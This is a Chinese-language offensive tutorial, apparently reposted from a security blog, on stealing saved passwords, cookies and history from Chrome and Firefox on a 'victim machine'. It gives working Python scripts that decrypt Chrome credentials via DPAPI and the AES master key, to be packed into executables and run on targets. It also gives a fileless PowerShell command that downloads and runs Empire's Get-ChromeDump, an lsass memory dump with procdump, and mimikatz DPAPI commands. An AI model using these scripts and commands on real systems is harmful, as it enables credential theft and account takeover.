13.浏览器信息收集(Chrome、Firefox)


一、受害机Google Chrome浏览器信息收集

 

1、前言:

 

  浏览器存放着非常多有价值的信息,包括浏览记录、存放的密码、书签。而Google chrome可谓是桌面浏览器界的巨头。但是chrome浏览器的加密从80版本后有所变化,80版之前是用DPAPI,80版本之后用的是AES,因此解密的方法也不一样。

 

2、chrome书签的信息提取:

 

Chrome存放书签的文件名是:bookmarks

 

 

 

该⽂件存于浏览器⽬录的 \UserData\Default\,全路径位于 %appdata%\..\local\Google\chrome\User Data\Default\

 

 

渗透信息收集时最好把文件复制到其他目录:

copy %appdata%\..\local\Google\chrome\User Data\Default\Bookmarks c:\windows\tmp\Bookmark

 

3、chrome浏览器浏览记录及cookie:

 

① 路径

浏览记录是存放在history文件中,全路径:C:\Users\Administrator\AppData\Roaming\..\local\Google\chrome\UserData\Default下的history文件,而cookie是在同目录下的cookie文件

开启前记得也要先复制到其他目录:copy %appdata%\..\local\Google\chrome\UserData\Default\History c:\windows\temp\History

 

② 打开方法:

首先下载一个SQLiteStudio,然后把复制好的cookie或者history拖拽至左边的框内,再点击urls数据即可

 

当然,如果只想看history的话,这边还推荐chrome history manage,可以直接百度整一个

 

4、chrome浏览器的保存的密码(低于80.0版本):

 

① 版本查看:

 

② 利用SQLiteStudio:

保存文件的路径为:%appdata%\..\local\Google\chrome\User Data\Default\Login data

打开文件后发现又是这一串东西:

 

因此我们可以用SQLiteStudio把复制好的Login data拖拽拖拽进去查看数据:

 

但是我们发现password没出来,这⼀串是加密过后的密⽂,然后使⽤相关函数解密就可以了,就跟base64加密解密差不多,差的是浏览器加密会⽤到windows⽤⼾登录后的凭据,所以没有凭据是⽆法解密的。具体涉及到的函数是 CryptProtectData,这意味单纯把这个⽂件传回本地解密是没有⽤的,所以我们⼀般是利⽤python写好脚本,然后打包成exe上传到⽬标机器执⾏来获取浏览器的明⽂密码的

 

③ 利用python:

 

from os import getenv

import sqlite3

import win32crypt

import binascii

conn = sqlite3.connect(getenv("APPDATA") + "\\..\\Local\\Google\\Chrome\\UserData\\Default\\LoginData")

cursor = conn.cursor()

cursor.execute('SELECT action_url, username_value, password_value FROM logins')

for result in cursor.fetchall():

    password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]

    if password:

        print( 'Site: ' + result[0])

        print( 'Username: ' + result[1])

        print( 'Password: ' + password)

    else:

        print( "no password found")

 

该python版本是不够成熟的,我们要做⼀些智能化的判断和操作,⽐如复制⽂件到其他⽬录再connect,判断⽂件是存在之类的,还有就是对内容进⾏提取的时候可以多选⼏个⾃⼰感兴趣的项,⽐如创建时间。打包的命令是:pyinstaller -F -w chrome.py,⾄于pyinstaller的更加详细的东西可以看:http://c.biancheng.net/view/2690.html

 

④ 利用Powershell:

https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/collection/Get-ChromeDump.ps1

需要⽬标关闭浏览器,可修改脚本为先复制再获取明⽂。

 

文件落地(如果目标机器不能出网,只能文件落地了):

Powershell –exec bypass –Command "& {Import-Module 'C:\Users\Hacker\Desktop\Get-ChromeDump.ps1';Get-ChromeDump -OutFile "chromepwds.txt"}

 

 

无文件落地

powershell IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/collection/Get-ChromeDump.ps1');Get-ChromeDump -OutFile chromepwds.txt

 

4、chrome浏览器的保存的密码(高于80.0版本):

 

解密脚本一:

https://github.com/agentzex/chrome_v80_password_grabber

直接执行就完事了

 

解密脚本二:

https://github.com/cckuailong/HackChrome

 

 

二、离线获取Google Chrome浏览器保存的密码

 

 

 

1、离线获取的意义:

当我们的工具无法免杀的时候,就选择把文件拖回来吧,但是需要配合其他东西来获取明文密码。

 

2、DPAPI和Master Key

 

DPAPI引文全称:Data Protection API,顾名思义,就是用来保护数据接口的,这个接口在Windows中被大量使用来加密数据,比如我们接下来的目的:chrome的cookies和login data

①  DPAPI使用了一种名为Master Key的东西来加密,Master Key并不存在磁盘上,而是通过用户的密码HASH加密生成

②  Master Key的第一种实现方式是用用户的NTLM HASH来加密,由于NTLM HASH在Windows中有着各种重要的作用,而且NTLM HASH是存储在SAM文件中的,因此只要攻击者获取到HASH就可以用来生成Master Key,从而解密数据了;为了防止以上事件的发生,就诞生了第二种实现方式:直接使用用户密码生成,函数:SHA-1(UTF16LE(user_password)),就算攻击者获取到NTLM,如果不能解密出用户的密码,就不能生成Master Key,因此我们一般都是在内存中提取出来的。

 

3、离线获取密码的方式(低于v80)

①  获取目标内存【procdump】

 

 procdump64.exe -accepteula -ma lsass.exe lsass.dmp

 

 

 

②  获取login data的密码密文并将内容保存在txt内

 

先下载一个pyinstaller,然后用下面这串python生成一个exe,放到对方机器上执(pyinstaller -F -w 1.py):

 

from os import getenv

import sqlite3

import binascii

conn = sqlite3.connect("Login Data")

cursor = conn.cursor()

cursor.execute('SELECT action_url, username_value, password_value FROM logins')

for result in cursor.fetchall():

    print (binascii.b2a_hex(result[2]))

    f = open('test.txt','wb')

    f.write(result[2])

    f.close()

 

这里要注意了,如果你的python版本高于3.6,而对方机器比较老没打KB2533263补丁(因为python高版本对系统有要求),就会像下图一样报错,这时要么帮他打补丁要么用低版本的python生成exe,该怎么做你们懂的:

 

 

执行exe(别忘了把login data复制出来放在同一目录下再执行),文件就出来了,可喜可贺,接下来就是想办法把两个文件弄回我们的vps:

 

 

③  把dump回来的内存用mimikatz解析

 

sekurlsa::minidump lsass.dmp

sekurlsa::dpapi

 

 

④  直接解密密文

 

dpapi::blob/in:test.txt

 

 

⑤  解码成明文

去掉空格,然后去一些在线网站解密,例如:https://tool.lu/hexstr/

 

3、离线获取密码的方式(高于v80)

 

离线其实也是根据已有的在线解密python代码来搞的

 

关键点在于Master Key的获取,在线脚本的代码时直接从内存获取的,剩下的就是利用Master Key来解密了,所以我们只要从目标提取到Master Key,然会下载回本地,加载进原来的代码运行就可以了。

 

①提取Master Key并写入txt(目标机器上执行)

 

import win32crypt

import os

import json

import base64

 

with open(os.environ['USERPROFILE'] + os.sep + r'AppData\\Local\\Google\\Chrome\\User Data\\Local State', "r") as f:

    local_state = f.read()

    local_state = json.loads(local_state)

master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])

master_key_w_Cry = master_key[5:]

master_key = win32crypt.CryptUnprotectData(master_key_w_Cry, None, None, None, 0)[1]

print(master_key)

with open("masterkey.txt",'wb') as msf:

msf.write(master_key)

 

 

②  加载Master Key解密密码密文(把文件弄回vps执行)

 

import os

import json

import base64

import sqlite3

import win32crypt

from Crypto.Cipher import AES

import shutil

 

def get_master_key():

    with open("masterkey.txt",'rb') as msf:

        buf = msf.read()

        print(buf)

        return buf

 

def decrypt_payload(cipher, payload):

    return cipher.decrypt(payload)

 

def generate_cipher(aes_key, iv):

    return AES.new(aes_key, AES.MODE_GCM, iv)

 

def decrypt_password(buff, master_key):

    try:

        iv = buff[3:15]

 

        payload = buff[15:]

        cipher = generate_cipher(master_key, iv)

        decrypted_pass = decrypt_payload(cipher, payload)

        decrypted_pass = decrypted_pass[:-16].decode() #remove suffixbytes

        return decrypted_pass

    except Exception as e:

        #print("Probably saved password from Chrome version older than v80\n")

        #print(str(e))

        return "Chrome<80"

 

if __name__ == '__main__':

 

    master_key = get_master_key()

    conn = sqlite3.connect("Login Data")

    cursor = conn.cursor()

 

    try:

        cursor.execute("SELECT action_url, username_value, password_value FROM logins")

        for r in cursor.fetchall():

            url = r[0]

            username = r[1]

            encrypted_password = r[2]

            print(encrypted_password)

            decrypted_password = decrypt_password(encrypted_password, master_key)

            print("URL: " + url + "\nUser Name: " + username + "\nPassword: " + decrypted_password + "\n" + "*" * 50 + "\n")

    except Exception as e:

        print('error')

        pass

 

    cursor.close()

    conn.close()

    try:

        os.remove("Loginvault.db")

    except Exception as e:

        pass

 

这个脚本需要在cmd执行,为了方便查看我们把它从定向到txt文件:

 

 

 

 

三、受害机firefox浏览器信息收集【高于58.0.1】:

 

 

1、获取Firefox的历史记录:

历史记录存储在places.sqlite数据库文件的moz_place表内,默认是:C:\User\<username>\AppData\Roaming\Mozilla\Firefox\<profile folder>,可以用命令寻找:dir %APPDATA%\Mozilla\Firefox\Profiles\*places.sqlite /s /b

 

 

 

由于该文件是sqlite数据库,所以直接用SQLiteStudio打开就行:

 

 

也可以用工具:https://cdn.securityxploded.com/download/FirefoxHistorySpy.zip

 

也可用用代码:

 

 

 

2、获取Firefox的cookie:

Cookie也是记录在places.sqlite数据库文件的moz_place表内,可以用命令寻找:dir %APPDATA%\Mozilla\Firefox\Profiles\*cookies.sqlite /s /b

 

可用代码:

 

 

 

 

3、离线获取Firefox的保存的密码:

 

Firefox的密码存储在logins.json中,但仅有该文件无法解密,我们还需要弄到key.db帮助我们获取密码

 

logins.json:

dir %APPDATA%\Mozilla\Firefox\Profiles\*logins.json /s /b

 

key.db:

dir %APPDATA%\Mozilla\Firefox\Profiles\*key4.db /s /b

 

将logins.json和key.db复制到我们的桌面后,我们可以执行python3 firepwd.py -d c:\users\ASUS \desktop\,就能获取密码了:

 

 

firepwd.py的下载地址:https://github.com/lclevy/firep


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM